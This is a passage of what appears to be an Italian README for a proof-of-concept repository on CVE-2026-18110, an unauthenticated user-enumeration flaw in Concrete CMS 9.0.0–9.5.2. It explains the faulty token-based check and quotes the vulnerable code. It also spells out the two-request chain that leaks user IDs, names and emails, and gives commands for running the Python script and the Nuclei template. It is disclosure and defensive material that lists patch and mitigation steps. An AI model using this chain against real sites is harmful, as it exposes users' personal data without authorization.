flenz00/cve-2026-18110-pocPoC Python e template Nuclei che sfruttano CVE-2026-18110, una vulnerabilità di enumerazione utenti non autenticata in Concrete CMS 9.0.0-9.5.2 tramite l'endpoint di autocompletamento utenti.
Concrete CMS dalla 9.0.0 alla 9.5.2 non esegue un controllo di autorizzazione sull'endpoint di autocompletamento del selettore utenti (/ccm/system/user/autocomplete), che supporta il pannello "Preview as User" e altri componenti di selezione utenti. Ciò consente a un attaccante remoto non autenticato di enumerare l'intera directory utenti interna — inclusi ID utente, nomi utente e indirizzi email — senza alcuna sessione valida o credenziale.
La vulnerabilità è un classico caso di token CSRF usato (erroneamente) come controllo di autorizzazione: il token prova l'integrità della richiesta ma non risponde mai alla vera domanda di sicurezza, ovvero se il chiamante è autorizzato a interrogare l'elenco utenti.
| Prodotto | Interessate | Corretta |
|---|---|---|
| Concrete CMS | 9.0.0 – 9.5.2 | 9.5.3 |
Il pannello Preview As User è registrato in concrete/routes/panels.php sotto il percorso base /ccm/system/panels:
GET /ccm/system/panels/page/preview_as_user
Il suo controller (concrete/controllers/panel/page/preview_as_user.php) chiama UserSelector::quickSelect() per renderizzare un componente Vue <concrete-user-select>. A differenza del metodo affine selectUser(), che correttamente applica un controllo tramite canAccessUserSearch(), quickSelect() non esegue alcun controllo dei permessi prima di generare e incorporare un token:
// concrete/src/Form/Service/Widget/UserSelector.php (vulnerable — 9.5.2)
public function quickSelect(string $inputName, $userID = null, array $args = []): string
{
$userSelectInstance = $userSelectInstanceFactory->createInstance($labelFormat, $includeAvatar);
// No permission check here — token is rendered unconditionally
$html = <<<EOL
<concrete-user-select
access-token="{$userSelectInstance->getAccessToken()}"
label-format="{$labelFormat}"
:include-avatar="{$includeAvatar}"
...
EOL;
return $html;
}
La risposta HTML renderizzata dal server espone quindi un access-token valido a qualsiasi visitatore — inclusi quelli non autenticati — che riesca a raggiungere questa rotta.
Il valore di access-token ha il formato:
{unix_timestamp}:{md5_hash}
Dove l'hash è calcolato lato server come:
md5( timestamp : userID : action : pepper )
timestamp — tempo UNIX al momento della generazione, inviato in chiaro come prefisso del token.userID — l'ID utente del richiedente al momento della generazione; 0 per i visitatori non autenticati.action — la stringa user_select:format:{labelFormat}:avatar:{includeAvatar}, dove entrambi i valori sono forniti dall'attaccante tramite parametri di query.pepper — un segreto casuale di 64 caratteri generato una sola volta al momento dell'installazione e memorizzato in application/config/generated_overrides/concrete.php.I token sono validi per 24 ore e sono completamente riutilizzabili entro tale finestra — non vi è alcuna applicazione del single-use/nonce. Inoltre non esiste un controllo del timestamp minimo, rendendo il controllo di freschezza unilaterale.
1. GET /ccm/system/panels/page/preview_as_user
↓
Server responds with HTML containing:
<concrete-user-select
access-token="1738012345:a1b2c3d4e5f6..."
label-format="auto"
:include-avatar="true"
...>
2. POST /ccm/system/user/autocomplete
Body: accessToken=1738012345:a1b2c3d4e5f6...
&labelFormat=auto
&includeAvatar=true
&query=a
↓
Server responds with full user list:
[
{"id": 1, "primary_label": "admin", "secondary_label": "[email protected]"},
{"id": 6, "primary_label": "m.rossi", "secondary_label": "[email protected]"},
...
]
La chiamata checkAccess() all'interno di view() ricalcola l'hash usando l'uID della richiesta corrente (0 per gli ospiti) — che corrisponde perfettamente perché il token è stato generato anch'esso con uID=0. Il controllo passa e viene restituita l'intera directory utenti.
Il controllo canAccess() / checkAccess() sull'endpoint di autocompletamento convalida l'integrità del token (non falsificato, non scaduto) ma non convalida mai l'autorizzazione (questo chiamante è autorizzato a cercare utenti?). La validità del token CSRF non sostituisce un controllo di autorizzazione. Rispetto a getSelectedUsers() nello stesso controller, che chiama correttamente Checker::canViewUser() per ogni risultato, view() non ha un controllo equivalente.
In questo repository sono inclusi uno script Python e un template di rilevamento Nuclei. Lo script Python può essere utilizzato solo contro un singolo URL. Se si desidera testare più target contemporaneamente, usare invece nuclei. Entrambi automatizzano la catena in due fasi descritta sopra e rilevano la corrispondenza sui dati utente confermati nella risposta della Fase 2.
python3 CVE-2026-18110.py https://target.example.com
nuclei -t CVE-2026-18110.yaml -u https://target.example.com
Destinato all'uso esclusivamente contro sistemi per i quali si è autorizzati a eseguire test.
Aggiornare a Concrete CMS 9.5.3 o versione successiva. La correzione introduce un controllo di autorizzazione nella fase di emissione del token (quickSelect()) coerente con il controllo canAccessUserSearch() già presente in selectUser(), e aggiunge un controllo dei permessi equivalente all'interno di view() del controller di autocompletamento, rispecchiando il pattern Checker::canViewUser() già correttamente utilizzato da getSelectedUsers().
Se l'aggiornamento immediato non è possibile, considerare il blocco dell'accesso non autenticato a /ccm/system/panels/ a livello di web server o WAF come mitigazione temporanea.
Questo repository è pubblicato per scopi educativi e di sicurezza difensiva. Tutti i test sono stati eseguiti contro sistemi con esplicita autorizzazione. Gli autori non sono responsabili per qualsiasi uso improprio delle informazioni o degli strumenti qui contenuti.